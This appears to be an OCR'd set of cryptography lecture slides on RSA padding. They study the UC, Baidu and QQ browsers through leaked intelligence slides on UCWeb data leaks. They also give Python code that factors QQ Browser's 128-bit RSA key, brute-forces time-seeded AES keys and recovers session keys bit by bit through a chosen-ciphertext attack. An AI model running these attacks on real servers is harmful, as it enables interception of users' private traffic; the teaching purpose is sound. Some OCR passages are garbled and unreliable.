

#### RSA padding

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## RSA padding is not optional

- Security of RSA completely breaks down without padding
- Optimal Assymetric Encryption Padding (OAEP) solves this problem
  - Random oracle model



#### BAT (Baidu Alibaba Tencent) Browsers



https://www.usenix.net/sites/default/files/conference/protected-files/foci16\_slides\_knockel.pdf



#### **Success Stories**

- <sup>®</sup> UCWeb mobile browser identification
  - \* Discovered by GCHQ analyst during DSD workshop
  - \* Chinese mobile web browser leaks IMSI, MSISDN, IMEI and device characteristics







# UCWeb – XKS Microplugin

UCWeb														
😢 Help   Actions + Reports + View +   😂 Map View														
13	State	Ð	Datetime -	Highlights	Datetime End	Browser Version	Email Address	Handset Model	INEI	MSI	Global Title	Platform	Active User/f	Casenotation
1	_1	1	2012-05-13 02:29:20	10	2012-05-13 02:29:23	8.0.3.107	2123movies	nokiae90-1	100 Constants		9379900100	java		E9DHL00000M0000
2	1	2	2012-05-13 06:00:59	18	2012-05-13 06:01:00	8.0.3.107	2123movies	nokiae90-1			9379900100	java		E9DHL00000M0000
3 🖾	_1	4	2012-05-13 19:39:11		2012-05-13 19:39:11	7.9.3.103		HTC A510e	MALE			android		E9BDE00000M0000
4 🛄	1	2	2012-05-14 12:29:53	8	2012-05-14 12:29:53	8.0.4.121	2djgol	NokiaE72-1				sis		E9DHL00000M0000
5	-1	5	2012-05-14 17:46:46	11 23	2012-05-14 17:46:46	8.0.4.121	gmobimasti	NokiaX6-00				sis		H5H125221450000
6 🖂	1	6	2012-05-15 18:28:19	10 25	2012-05-15 18:28:19	8.0.4.121	gmobimasti	NokiaX6-00			93781090013	sis		H5H125221450000
7		Z	2012-05-15 20:02:5	11日本	2012-05-15 20:02:58	8.0.4.121	gmobimasti	NokiaX6-00			93781090013	sis		H5H1252214500C

https://www.usenix.net/sites/default/files/conference/protected-files/foci16\_slides\_knockel.pdf



#### UCWeb

\* Led to discovery of active comms channel from

(S//SI//REL TO USA, FVEY) The CONVERGENCE team helped discover an active communication channel originating from that is associated

with the

as they are known within the hierarchy area of responsibility is for covert activities in Europe, North America, and South America. The leveraged a Convergence Discovery capability that customer enabled the discovery of a covert channel associated with smart phone browser activity in passive collection. The covert channel originates from users who use UCBrowser (mobile phone compact web browser). The covert channel leaks the IMSI, MSISDN, Device Characteristics, and IMEI back to server(s) in Initial investigation has determined that perhaps malware can be associated when the covert channel is established. covert exfil activity identifies SIGINT opportunity where potentially none may have existed before. Target offices that have access to X-KEYSCORE can search within this type of TOP SECRETING https://www.usenix.net/sites/default/files/conference/protected-files/foci16 slides knockel.pdf

bluesky.1.25.1.1.7?cache=3766412000&ka=&kb=e2e63e260805aea910e1c2ce02b05211& kc=3b5d366db90b1b60e22260a0278331f8v0000002e9952d46&firstpid=0501&bid=800&ve r=5.5.10106.5&type=1&ssl=1&bandwidth=29.63&target ip=64.106.20.27&redirect s tart=0&redirect duration=0&dns start=0&dns duration=218&connect start=218&co nnect duration=251&request start=469&request duration=916&response start=138 5&response duration=1&dom start=1386&dom duration=268&dom interactive=234&do m content load start=1420&dom content load duration=0&load event start=1654& load event duration=26&t0=1385&t1=1719&t2=1719&t3=1420&total requests=2&requ ests via network=2&cloud acceleration enabled=0&average of request duration= 809&average\_of\_t2\_duration=859&private\_data=host=www.cs.unm.edu|url=https:// www.cs.unm.edu/~jeffk/&lang=zh-CN

 $\begin{array}{l} m90\ldots\_\tilde{0}.\div.y.] \label{eq:m90} m90\ldots\_\tilde{0}.\div.y.] \label{eq:m90} m90\ldots\_\tilde{0}.\div.y.] \label{eq:m90} m90\ldots\_\tilde{0}.\div.y.] \label{eq:m1} m90\ldots\_\tilde{0}.\div.y.] \label{eq:m1} m90\ldots\_\tilde{0}.\div.y.] \label{eq:m2} m90\ldots\_\tilde{0}.\div.y.] \label{m2} m90.\ldots\_\tilde{0}.\div.y.] \label{m2} m90.\ldots\_\tilde{0}.\div.y.] \label{m2} m90.\ldots\_\tilde{0}.\div.y.] \label{m2} m90.\ldots\_\tilde{0}.\div.y.] \label{m2} m10\ldots\_\tilde{0}.m2 \label{m2} m10.m2 \label{m2}$ 



## State of BAT Browsers circa 2016

- UCBrowser and Baidu Browser used purely symmetric crypto
  - Reverse engineer APK, passively decrypt on the wire
- QQ Browser used a 128-bit RSA modulus
  - Factor in <3 seconds with Wolfram Alpha, passively decrypt on the wire
- Some other details not relevant to this lecture
  - Peculiar TEA-based algorithm for all three
  - Insecure update mechanisms

E, N = 65537, 245406417573740884710047745869965023463

# Prime factors of N, found via

# http://www.wolframalpha.com/input/?i=factor+2454064175737408847100477<u>45869965023463</u>

P = 14119218591450688427

# Public key

**Q** = 1738101977699648<u>6069</u>

```
def egcd(a, b):
   # Extended Euclidian Algorithm
   x,y, u,v = 0,1, 1,0
   while a != 0:
        q, r = b//a, b%a
        m, n = x - u * q, y - v * q
        b,a, x,y, u,v = a,r, u,v, m,n
   gcd = b
    return gcd, x, y
def find_d(p, q, e):
    phi = (p - 1) * (q - 1)
   gcd, d, = egcd(e, phi)
    return d
```



## QQ Browser

- WUP requests
  - >10% of the apps in the Tencent app store make WUP requests
  - Used to send telemetry, *etc.*, back to the server, request and download updates, *etc.*





#### **QQ** Browser

Data leaks across Windows & Android versions

Туре	Data Point					
PII	Machine hostname, Gateway MAC address, Hard drive serial number, Windows user security identifier, IMEI, IMSI, Android ID, QQ username, WiFi MAC address					
Activity	Search terms, Full HTTP(S) URLs					
Location	In-range WiFi access points, Active WiFi access point					



## Basic protocol for WUP request encryption

- Client chooses a "random" 128-bit AES key
  - Session key
- Client encrypts that with the server's RSA public key
  - Using textbook RSA
- Client encrypts the WUP request with the AES session key
- Client appends the encrypted WUP request to the RSAencrypted AES session key
- · Sends it to the server

### WUP server

- Receives the request from the client
- Uses its private key to decrypt the AES session key
- Uses the AES session key to decrypt the WUP request
- If decryption succeeds, responds with a WUP response that is encrypted with the same AES key



### Assumptions

- RSA modulus is 1024 bits
  - Versions ≤6.3.0.1920 had 128 bits
- Entropy pool for randomness, and not ASCII-ified
  - Versions  $\leq$  6.5.0.2170 used srand(time())
  - Versions  $\leq 6.3.0.1920$  ASCII-ified the key ( $< 2^{53}$  entropy)
- Textbook RSA
  - Versions >6.5.0.2170 might do padding? (can't remember)

```
try:
    milliseconds_base = int(sys.argv[1], 0) * 1000
    encrypted_key = int(sys.argv[2], 16)
except ValueError:
    pass
\mathbf{i} = \mathbf{0}
while True:
    delta = i >> 1
    if i & 1:
        delta = ~delta
    milliseconds = milliseconds base + delta
    r = Random(milliseconds)
    key_bytes = r.next_bytes(16)
    key = int.from_bytes(key_bytes, 'big')
    if gqrsa.encrypt(key) == encrypted_key:
        break
    i += 1
    if i % 2000 == 0:
        sys.stderr.write('%d second radius\n' % (i // 2000))
print('Attempts: %d' % (i + 1))
print('Milliseconds: %d' % milliseconds)
print('Key: %r' % key bytes)
```

```
Random random = new Random(System.currentTimeMillis());
byte[] bArr = new byte[8];
byte[] bArr2 = new byte[8];
random.nextBytes(bArr);
random.nextBytes(bArr2);
return new SecretKeySpec(ByteUtils.mergeByteData(bArr, bArr2), "AES");
```

```
SecureRandom secureRandom = new SecureRandom();
byte[] bArr = new byte[8];
byte[] bArr2 = new byte[8];
secureRandom.nextBytes(bArr);
secureRandom.nextBytes(bArr2);
return new MttWupToken(ByteUtils.mergeByteData(bArr, bArr2), this);
```



## Padding oracle attack

- Eve eavesdrops a WUP request from Alice to Bob
- Eve replays slightly modified versions of the WUP request's RSA ciphertext (chosen ciphertext attack), learning one bit at a time of the RSA plaintext (the AES session key)
- Once the AES session key is recovered, Eve can decrypt Alice's WUP request



### https://en.wikipedia.org/wiki/ Daniel\_Bleichenbacher

- Bleichenbacher-style attack published in 1998
  - Chosen ciphertext attack
  - Padding oracle attack
- 0x00 0x02 [non-zero bytes] 0x00 [M]
  - 2<sup>-17</sup> to 2<sup>-15</sup> probability a random ciphertext has this format when decrypted with RSA
  - https://crypto.stackexchange.com/questions/12688/can-youexplain-bleichenbachers-cca-attack-on-pkcs1-v1-5
  - Takes a few million connections



## A much simpler attack (on QQ Browser)

- https://arxiv.org/abs/1802.03367
  - Not necessary at the time we discovered it
  - May or may not be applicable today
  - Good for pedagogical purposes

Let C be the RSA encryption of 128-bit AES key k with RSA public key (n, e). Thus, we have  $C \equiv k^e \pmod{n}$ Now let  $C_b$  be the RSA encryption of the AES key  $k_{b} = 2^{b}k$ *i.e.*, k bitshifted to the left by b bits. Thus, we have  $C_b \equiv k_b^e \pmod{n}$ 

$$C_b \equiv k_b{}^e \pmod{n}$$

We can compute  $C_b$  from only C and the public key, as

 $C_b \equiv C(2^{be} \mod n) \pmod{n}$   $\equiv (k^e \mod n)(2^{be} \mod n) \pmod{n}$   $\equiv k^e 2^{be} \pmod{n}$   $\equiv (2^b k)^e \pmod{n}$  $\equiv k_b^e \pmod{n}$ 

```
kev = 0
for i in range(128):
    shift = 127 - i
    encrypted_key_shifted = qqrsa.shift_encrypted_message(encrypted_key, shi
    satisfied = False
    kev >>= 1
    for b in (0, 1):
        kev |= (b << 127)
        test key = key.to bytes(16, 'big')
        try:
            headers, body = make request(test key, encrypted key shifted)
        except Exception:
            traceback.print exc()
        else:
            satisfied = True
            print(format(key >> shift, '0%db' % (i + 1)))
            break
    if not satisfied:
        sys.stderr.write('error recovering keyn)
        sys.exit(1)
print(repr(key))
```

Suppose the client whose communications we want to decrypt encrypts the following 128-bit AES key with 1024-bit RSA and sends it to the server:

This shows what the server sees as the RSA plaintext *after* it decrypts the ciphertext we sent it, which we are trying to trick the server into leaking bits of to us. So, we as the attacker have recorded c by eavesdropping on the client and server's communications over the Internet. But without the private key, d, we don't know what m (the green part, which is the AES key to decrypt the rest of the message) is. Let's explore what happens if we open our own connection to the server, and as our ciphertext we send  $c \times 2^e$ . The server will decrypt that into the following plaintext:

So, we know how to double plaintexts by manipulating ciphertexts. What if we double it more than once? What if we do it 16 times, by sending  $c \times 2^{16e}$  as out ciphertext. When we multiplied the plaintext by 2 above, we effectively bit shifted the AES key by 1. Now we're multiplying the plaintext by  $2^{16}$ , which is the equivalent of bit-shifting to the left 16 times:



 $c \times 2^{127e}$ 

Now, we've finally figured out **step one** of our attack. By sending  $c \times 2^{127e}$  as our ciphertext, we've forced the server to encrypt what it sends back to us with one of two AES keys, either...

...or...

So now there are two bits in our AES key with the server that we don't know for sure are zeroes, but we don't want to try all four possibilities because that's not going to be efficient going forward. We already know the bit in blue from step 1, so really there are only two possibilities of keys to try: Either...

#### 

...or...

#### 

So then, for step 3, we would send  $c \times 2^{125e}$  as our ciphertext, and the server would decrypt:

...or...



#### By the 128<sup>th</sup> step...

...or...

```
kev = 0
for i in range(128):
    shift = 127 - i
    encrypted_key_shifted = qqrsa.shift_encrypted_message(encrypted_key, shi
    satisfied = False
    kev >>= 1
    for b in (0, 1):
        kev |= (b << 127)
        test key = key.to bytes(16, 'big')
        try:
            headers, body = make request(test key, encrypted key shifted)
        except Exception:
            traceback.print exc()
        else:
            satisfied = True
            print(format(key >> shift, '0%db' % (i + 1)))
            break
    if not satisfied:
        sys.stderr.write('error recovering keyn)
        sys.exit(1)
print(repr(key))
```



#### Offline attacks are possible for smaller key sizes

BONEH, D., JOUX, A., AND NGUYEN, P. Q. Why textbook ElGamal and RSA encryption are insecure. In the Proceedings of Advances in Cryptology — ASIACRYPT 2000: 6th International Conference on the Theory and Application of Cryptology and Information Security, Kyoto, Japan, December 3– 7, 2000 (2000), 30–43.

 $\frac{\check{}}{M_2^e} \equiv M_1^e \pmod{N}$ 



## QQ's padding is vulnerable

- Padding scheme is "ignore all but the lowest order 128 bits"
- Other padding schemes that are more sophisticated could still be vulnerable
  - How do we know if a padding scheme is good enough?



### Next lecture

- Random oracle model
- Optimal Asymmetric Encryption Padding (OAEP)
- Indistinguishability